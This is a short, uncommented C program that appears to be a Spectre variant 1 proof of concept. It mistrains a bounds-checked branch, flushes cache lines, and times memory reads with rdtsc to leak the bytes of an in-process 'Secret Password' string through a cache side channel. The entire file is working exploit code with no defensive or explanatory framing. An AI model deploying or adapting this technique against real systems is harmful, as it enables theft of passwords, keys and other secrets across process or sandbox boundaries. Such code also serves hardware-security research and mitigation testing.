#include <stdio.h>

#define V 8

unsigned z = 32;
char v1[32];
char v2[128 << V];
char *secret = "Secret Password";

void sub(unsigned long x)
{
	volatile char c;
	if (x < z)
		c = v2[v1[x] << V];
}

unsigned acc(unsigned i)
{
	volatile char c;
	unsigned long a, b;
	a = __builtin_ia32_rdtsc();
	c = v2[i << V];
	__builtin_ia32_mfence();
	b = __builtin_ia32_rdtsc();
	return b - a;
}

void find(long x)
{
	int c = 0;
	int u[6] = {0};
	int v[128] = {0};
	u[0] = x;
	for (int i = 127; i; --i)
		__builtin_ia32_clflush(&v2[i << V]);
	for (int i = 6; i;)
	{
		__builtin_ia32_clflush(&z);
		__builtin_ia32_mfence();
		sub(u[--i]);
		for (int j = 0x20; j; --j)
			__builtin_ia32_pause();
	}
	for (int i = 127; i; --i)
	{
		unsigned time = acc(i);
		v[i] = time;
	}
	for (int i = 127; i; --i)
	if (v[i] < 128)
	{
		c = i;
		break;
	}
	printf("%02X: %c\n", c, c);
}

int main()
{
	long x = secret - v1;
	for (int i = sizeof(v1); i;)
		v1[--i] = 0;
	for (int i = sizeof(v2); i;)
		v2[--i] = 0;
	__builtin_ia32_mfence();
	find(0);
	for (int i = 16; i; --i)
		find(x++);
	return 0;
}
